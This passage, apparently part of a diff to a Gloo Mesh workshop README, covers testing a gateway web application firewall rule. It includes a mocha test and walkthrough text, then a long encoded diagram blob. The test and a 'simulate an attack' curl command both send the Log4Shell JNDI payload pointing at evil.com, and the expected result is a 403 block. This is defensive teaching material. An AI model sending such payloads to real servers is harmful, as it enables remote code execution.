'${jndi:ldap://evil.com/x}'}], body: 'Log4Shell malicious payload' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-waf/tests/waf.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following command to simulate an attack: + +```bash +curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://cluster1-httpbin.example.com/get" -i +``` + +The request should be rejected: + +```,nocopy +HTTP/2 403 +content-length: 27 +content-type: text/plain +date: Tue, 05 Apr 2022 10:20:06 GMT +server: istio-envoy + +Log4Shell malicious payload +``` + +Let's apply the original `RouteTable` yaml: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAxOFx1MDAwZkIyL/h3yLzwp25z7SzzQrDgxuBmWYEuV+g4XHUwMDEyjixjKt60kFx1MDAxNkNaXCJNqTYtiFx1MDAxN8SbsDD9nMRcdTAwMGLTL5ArIHjYf+nT12hZ4lx1MDAwNVZUwOcl+1x1MDAxMW7zmt1IXHUwMDEzQk1cdTAwMTNSRVx1MDAxNZc+sm1LqVx1MDAxN+Go5CA49UL5T+pflnvhT9vm2jD3XCJQtElcdTAwMWVcXI3LeI3QSi1Sw83FmIo2U5Xc4tpcdTAwMDA3iThCjp6xMy8uJaD8OTO7Qlx1MDAxOFx0aTmysXAz9KxhJpoxQrj0M6hMtV9cZsyqgDVcdTAwMDTxtmzDWCityS5cdTAwMWKvbyrd5l9rXHUwMDAz6Vx1MDAxNlmQXHUwMDAwSJphWS6IsUJcdTAwMTCmXHUwMDBlvvojSLhrhzHyoqRI0i3c7bswKVPeXHUwMDEwc1x1MDAwMkSDgeSkT2qZOekkQnKqXHUwMDAw5Vx1MDAxOcv0S4u3RCB5m8tD2Ctcbrhw77hcblx1MDAxMXJqVlx1MDAxOYCt4Fx1MDAxObq6zTVcdTAwMWZOK1x1MDAwZlx1MDAwZqXpYHTXOuq/tFW8veNSXHRcdTAwMGJcZpePy1x1MDAxZGhL0TbTXHJcdTAwMDJbxq3lKpdcdTAwMWNcdTAwMTA98Ek8z9Rt3u/gh0zhvXp2dft+UVx1MDAxYtdPOlx1MDAwMVx1MDAxMeZxiL5LXHUwMDE274/xNbtcdTAwMTh3y9f4Lj/Ul2fvXHUwMDEx20GFjlt5K6fkSeeomW3QjDqbZJvHyYCqhiuNu/XlXeYr939gxNk2n1kq94iyr93rcXfIa5la8vY52ip46HTXvnIw5YIkoqJYaq1W6NFcdTAwMTK+TTF1lUuNw0RcInHnXHUwMDFlXHUwMDA0i8TFk8FcdTAwMWT5zZkxu5VE3yrZXHUwMDAwXkqjYd25uJv7zUPavy1T7YtO8z/zW1x1MDAxZpmw4LRcdTAwMWZcbtaX4HiF4NpBul6d3sinWvaFXHUwMDE16cXwJV0v5uJcdTAwMGVMpEXV/HJ7zVx1MDAxOWOxXHUwMDA1JsC3gFx1MDAxYzVn8Uw3aHXK90P2fHv+8k6OXHUwMDA2MtW9fk5cdTAwMDRAiFx1MDAxZmSy+rg7Wt6tXHUwMDBmu1xm8Pg/cJ/ARIXkQVxu46UkOnpcdTAwMThh+HrGXHUwMDE2mZAwmShIvJBcdDFlYoRk5FtBkz485qDVaDdcXGDjXHUwMDEzzvWXKHmf0ML5PDfAKSFFmFx1MDAwNaZcbtNVXHUwMDBlwNLHMn90enw+aL2Mi6R1Yd8nXHUwMDA2cccpPMxakDHGKUhITjDdY2X0MI33nq1f91nriF7Qs5s7zVLDZvXiXHUwMDA3p2xcdTAwMGKn7Gh5v8qwy+CP/1x1MDAwM/dcdH9ksJzFmCOQNCi6pzp8PWNcdTAwMGJ/UJio1TGDP5hxTLnGe7RcdTAwMDP3XHUwMDEy0VhtfG4841x1MDAxMtDgjWc0XHUwMDEzXFxcdTAwMWbwcFx1MDAxNFx1MDAxY0zMXHUwMDE10KjQKyCead7ujVx1MDAwYrXbTuH+9UWWaq+DMb5aXHUwMDA38XxcdTAwMWVcdTAwMWJcdTAwMTJEhYVcdTAwMWSXu9QqXGZALeG8XHUwMDFmyIi/XHUwMDE4NVx1MDAxY/OUbVaulreFeSRcdTAwMDe8JtRcdTAwMWWDjMO03Fx1MDAxZHuwz25K+DhHXHUwMDEyp4mbUTtTTpz/QJ5tQZ5cdTAwMWQt71dcdTAwMTl2XHUwMDE55PF/YMTZNl6f33Wmm32q83yGoExPJKa9aHv26VCKhySkYiVAiDNcdTAwMWNdgofvU0yhlGl6XHUwMDEwKsOJ+3awXGb/LDBFKKP8m2GpxmDY6FY/XHUwMDE1TC3BI4tg6vdcZjdAUySwioWUiFx1MDAwYk2iXHUwMDFiNe3aRF2VXHUwMDFleTN5kns8Olx1MDAxZZf00XUm3lhcbjOhLYdHV+NcdTAwMDU+RIBy+PzSgXxcdTAwMThcdTAwMDVLbdl/RLBcdMBxps7FXHRMXHUwMDE1ivaw8ahcdTAwMGbtm+nxpF+sXHUwMDFkv5SSlVx1MDAxZjC1LTC1o+Xd+rDLUI//XHUwMDAzI862+9hcdTAwMTk+XZxO8NOk9PDSez/Jjt/xXHUwMDE2XHUwMDE2t1F/LCX7r1x1MDAwM14uyKtM4+r0PZe428K4KjsqXHUwMDFllScniVHznYrc+01LZ1wiXHUwMDEy71x1MDAxZVBaYN1/TjCAXHUwMDAxuYKZXHUwMDFkTlYxXHUwMDA1aYB2WLhy0Fx1MDAxNo+kXHUwMDFjdlx1MDAwMtLYPLPzo9cqJkxIuceYzD2gtFSr2z24tlx1MDAwN/WDfzqlmmv9XHUwMDFjgI25P7g1wLZcdTAwMDT0LFx1MDAwMrb5ZH9NdT3WRIGsXHQkwE100lxunVxmb1x1MDAwZsXlNJNLXHUwMDFmqaPGyaifS7H0Y1D109jwpqn0R5ikXHUwMDFj/jNhke7MkFx1MDAwNGFcdTAwMTbXiFwiSjUlSlBnstnqwC2UN1x1MDAxOfXpzEG96Vx1MDAxZlx1MDAxY1x1MDAxMZiosyd1nNDankJkfTlfrc75KXjguDQ5qHTbvW5n9oX9hIDDmNlaaKLra1x1MDAwNLO7z1xmQ3k/MC9M6cBcdTAwMDBhjiVRjKHoYTjh21x1MDAxZUuTTUtqcUJMylx1MDAxZHC+YG7OXHUwMDA3xpdEmmxcdTAwMTWCsFxiyXfdyF4jyDJ5gERLxIRcIsQrXHUwMDAwiFBcdTAwMTbDXG5cYl9xJrjD4f1RaYghXHL/dtiqJFx1MDAxNulg4drlwJlXilxi4Fx1MDAxNywkNb37XHUwMDE4Uj59xqhFMay3IJgyXHUwMDBlXHUwMDE08CdcdTAwMTlpxXSw8GjiXHUwMDAzVzpcdTAwMThlXHUwMDA0XHUwMDE2g2iYXHUwMDExRYrP5djBPJPfqCFMKOHY5Cwpz6S+VDZYIHWby0PX8+H+cr6u54zSwSGGlFx1MDAxM4WRU/gtk22o139OVYZP/VTupTo9fVx1MDAxY+UxbsRcdTAwMWTXaKUskFt/LneEIXBcdTAwMDexqOOSXHUwMDBi89pcdTAwMWWqkVJcdTAwMDeUJ5pjXHUwMDFj5nFJXHRcdTAwMDVcZqB3iXGWybQwjDN+eG9rcVVvpqqXXHUwMDE39+eth/ZhR+1cdTAwMWXjrM9cdTAwMGYq+KhbYFhlU+4hMjuckKuRXHUwMDE440I5fSRcdTAwMWZU7e5s2kqslVx1MDAxY/mJXHUwMDA2OJGh3MCppbbFXHJcdTAwMWI5Z5U3K4gxsD9cdTAwMWNcdTAwMWR3Y4X26+c3t9N7rNkzO7pcdTAwMWFmXHUwMDFilWdcdTAwMWL9XHUwMDFjdG/NN7uj5d36sMt8s/5cdTAwMGaMONtcdTAwMDd9r1x1MDAxNVXZ5svTVb+mxiej13FzXHUwMDBii5tFXHUwMDE1WSuh/iV+XHUwMDE45kqpXHUwMDEzlMKvnS2Muytfcu1CP9+301x1MDAxOTmt3JSGT8kkec5fbmHc9ihdOmFcdTAwMWSVSlx1MDAxZdvF4jCduH1qJ7cw7lx1MDAwNj7q0HFvSimab9/ZZV6+KaaO84Q21FtMfd8qJEJBKaJcdTAwMTlFK2ThhvNtTIGoqdNcdTAwMTWqe1VE3btcdTAwMTPftyNcdTAwMTj3I5peMSUp/155uE7fd7tk3N9mNvDLwO6/XHUwMDA15L+IdZ1gSzzhS1x1MDAwMGawa8wx8d/T3lx1MDAwMDLjkK5cdTAwMWOaXHUwMDEyQGUyekTDw0tRXHUwMDE1L0bknGRvm9c5luw/nyVijplNyzwnZ7q7dGDGkIutQ5pX71x1MDAxYTR7uvdiziViXHUwMDEy77BcdTAwMDDcJqhZ6MzkpSOy9FF0K4+TSlx1MDAxZl9Vr39Q87ZQ846W96tcZrtcZoz7P3D3YDFcdTAwMDL4XHUwMDEy2Jn7sin40sGnm8JUQaSrRIeGb1NcXLFcdTAwMTfmOlSGc1x1MDAxOVGGf1LgXHUwMDAxY4Qyofi3xV7V0qBe7pb6/sGiu4o9WFx1MDAwMk+CXHUwMDEx13y6XHUwMDFiIC2GgthUXHUwMDAzh1x1MDAwMjms0P9MJtBT9uE8eSPOi73BySjdeexcdTAwMWTHXHUwMDFjaIFcdTAwMTH4ZYFcdTAwMTZcdTAwMTJcdTAwMTiLXVx1MDAxNtrdXHUwMDA0Z502itnRafn9sjE8LCWuXHUwMDBi3edWI/2Ds7aFs3a0vN982GXwzf+BXHUwMDExZ7uBXHUwMDB